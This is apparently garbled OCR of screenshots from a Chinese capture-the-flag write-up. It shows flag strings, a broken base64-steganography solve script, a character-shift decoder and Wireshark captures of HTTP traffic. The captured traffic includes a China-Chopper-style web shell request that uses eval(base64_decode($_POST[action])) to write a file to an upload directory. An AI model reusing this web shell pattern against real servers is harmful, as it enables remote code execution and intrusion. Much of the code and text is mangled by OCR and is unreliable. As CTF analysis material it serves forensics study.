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flag(K#E 5 Fbase64 & EAEL).

#] ;ﬂp Explode. class ca:'e:;:‘,
¥ )Hn GameObject. class £ rintInfo(g, “¥. HEHH RS, Se, 150, 300);
+-fap Plane. class break:
b H
- 4 [P——— AL i
# (O PlaneGameFrame printInfo(g, "MilifriEF—1T&#E", se, 150, 300);
= util 7 break;
: 'l,ﬂn Constant. class case 5:
- foth GameUtil. class 73 printInfo(g, "WRH—oHREFLEREM T, 40, 30, 300);
+ ,Jﬂn MyFrame. class - break;
¥ images case 6:
" & printInfo(g, "flag{RGFqaURhbGlfSmlud2FuQ2hpamk=}", 5@, 150, 300);
break;
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import re

re.findall(r , a)

5 #flag{FuN_giF}



FREHR: 8%
ZEH: 5%

https://blog.csdn.net/gq_-

PR H PR A H0-9, a-fA/M, BATFEM HNBH TR R T, SRR ZFREWROABRRRTY, RATET
FHRTF128, BRATXAEASCIHERRTEER0-127, FREB—NFEHEME128, BHEEREFS, 5Eifag

cc = "\xc8\xe9\xac\xa0\xcb\xf2\xe5\xf3\xe8\x
cd ="
foriin cc:
cd+=chr(ord(i) - 128)
print(cd)
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CAWINDOWS\system32\cmd.exe

ccugl sdehjyjshdfr
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Steganography is the art and science of writing hidden messages in
such a way that no one
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def get base64 diff value(sl, s2):
base64chars
res (7]
for i in ( (s2)):
if s1[i] s2[i]:
return (baseb4chars.index(s1[i]) base64chars.index(s2[i]))
return res
solve stego():
with ( 5
file lines f.readlines()
bin_str
for line in file lines:
steg line line.replace( 5 )
norm_line line.replace( 5 ) .decode( ) .encode( ).replace(
diff = get_base64_diff value(steg line, norm_line)
print diff
pads_num steg line.count( )
if diff:
bin_str (diff)[2:].zfill(pads_num 2)
else:
bin_str pads_num 2
print goflag(bin_str)
def goflag(bin_str):
res_str
for i in (o, (bin_str), 8):
res_str ( (bin_str[i:i 8], 2))
return res_str
if _ _name__

solve stego()
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mEEE~>  uE~ B Wireshark =

a.pcapng @0
MHHE) fWIB(E) ME(Y) BIRG) MWIRQ©) IiA) RIS REY) Z&EWwW) ITEO F|EH)

Al @ D0 XE Q « » .01« » = @ q @ TF
[RAERTEE . <Ctrl-/> -] miAR.  +
SHIEE - BE =z EaXKNhE FiIs | lag.txt &k HYGH
No. Time Source Destination Protocol Length Info =
1149 50.140816842 192.168.43.83 192.168.25.128 TCP 60 80 -
.147576455
1151 50.189982026 192.168.25.128 192.168.43.83 TCP 04 478
! 1152 50.295304588 219.216.128.25 192.168.25.128 TCP 2814 80
| 1153 50.295383546 192.168.25.128 219.216.128.25 TCP 54 584
| 1154 50.332176266 219.216.128.25 192.168.25.128 TCP 4194 80 -
| 1155 50.332340670 192.168.25.128 219.216.128.25 TCP 54 584

L] k
v Transmission Control Protocol, Src Port: 80, Dst Port: 47856, Seq: 247, Ack: 206198, =
+ Hypertext Transfer Protocol
= Line-based text data: text/html (7 lines)

-2 . ANE2017-12-08 11:42:11M0NEOTTTNN

LANE2017-12-08 11:39:10Mt4096MEO777N\nN
1.phpit2017-12-08 11:33:16M\t33MtO666N\N
6666. jpght2017-12-08 11:42:11\t102226\t0666\N

flag.txt\t2017-12-08 11:35:29\t17\t@666\n

haelln 7inAt2A17-42-AR AG-22IRNT2ZANVTFARARNN
L] k

6a 70 67 09 32 30 31 37 2d 31 32 2d 30 38 20 31 jpg-2017 -12-88 1 -
31 3a 34 32 3a 31 31 09 31 30 32 32 32 36 09 30 1:42:11- 102226-0
VLRI EY66 6 61 67 2e 74 78 74 09 32 30 ¢
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Wireshark - i%% TCP i (tcp.streameq7)-a.pcapng @ @ ©

Content-type: application/x-www-form-urlencoded =
Content-Length: 284999



aa=@eval.

(base64 decode($_POST[action]));&action=QGluavV9zZXxQoImR
pc3BsYX1fZXIyb3J1zIiwiMCIpO@BzZXRTdGltZVIsaWipdCgwKTtAC2
VBX21hZ21jX3F1b3R1c19ydW50aW11KDApO2YjaG80Ii0%2BfCIp0zs
kZj1iYXNINjRFfZGVib2R1IKCRTUEQTVFsiejEiXSk7IGMIIFOQTINUWY
J6MiJdOyRjPXNOc19yZXBSYWNIKCIcciIsIiIsJGMpOYyRjPXNOC19yZ
XBsYWN1KCIcbiTsTIiTsIGMpOyRidWYITiTI7ZmIyKCRpPTAT7IGk8C3RY
bGVUKCRjKTskaSs9MikkYnVmLjlilcmxkZWNvZGUoIiUilLnN1YnNGcig
kYywkaSwyKSk7ZWNobyhAZndyaXR1KGZvcGYUKCRMLCI3TiksJGJ1Z1
k%2FIjEi0iIwIik702Viac8oInw8LSIp02RpZSgpOw¥3D%3D&z1=RDp
cd2FtcDY®XHd3d1x1cGxvYWRCN]jY2Ni5qcGe%3D&z 2={ge kg5 elolohl]
4A46494600010101007800780000FFDERR430001010101010101010
101016161010161610161616161016101616161016010101601010101
010101010101016101010160101610160101610101010101016016016016
1FFDBEE430101010101010101010101010161601601010160160160160161
010101010101016101010160101610160101610101010101016016016016

BE102030405060708090ARBFFC400B5100002010303020403050504 Ik
53 &g o748 , 2 ARE85 5748 , 3 turn(s).

| BEAMIHE (206 kB ) - ERRRERERN ASC - |7 |3
H;: | I )
| @Help || @St | $TED | Saveas. | &M | | % Close J

Wireshark - i€ 2% TCP i (tcp.streameq7)-a.pcapng @ @ @

1E99E32319C999F681B7A90CE6156C60609DDT3276E31F2E7BE8183F2 ks
F37EEVEFDCFFD7383F9C758F77D65FFOOAF78FFOOF408EBCECADDAA
DEAFSFAEDBD97BBAZESATF2A3ES830EBASESOF7DDA1EBDSFCTAFTFTE
ACOB59E658327293B9CF2E1BEF7FBSFFO2ZEBFBD15763FFS71FFOOBE
BFFAGBAZBEBE6DFELIFFCO5797F93FEFEFESEGSDASFFE81BFFROB2FSFESG
HESEHTTP/1.1 200 OK

Date: Fri, ©8 Dec 2017 11:42:07 GMT

Server: Apache/2.4.23 (Win64) PHP/5.6.25

X-Powered-By: PHP/5.6.25

Content-Length: 7

Keep-Alive: timeout=5, max=180

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

->|1|=-POST /upload/1.php HTTP/1.1

User-Agent: Java/s1.8.8_151

Host: 192.168.43.83

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*;
q=.2

Connection: keep-alive

Content-type: application/x-www-form-urlencoded

Content-Length: 723 -
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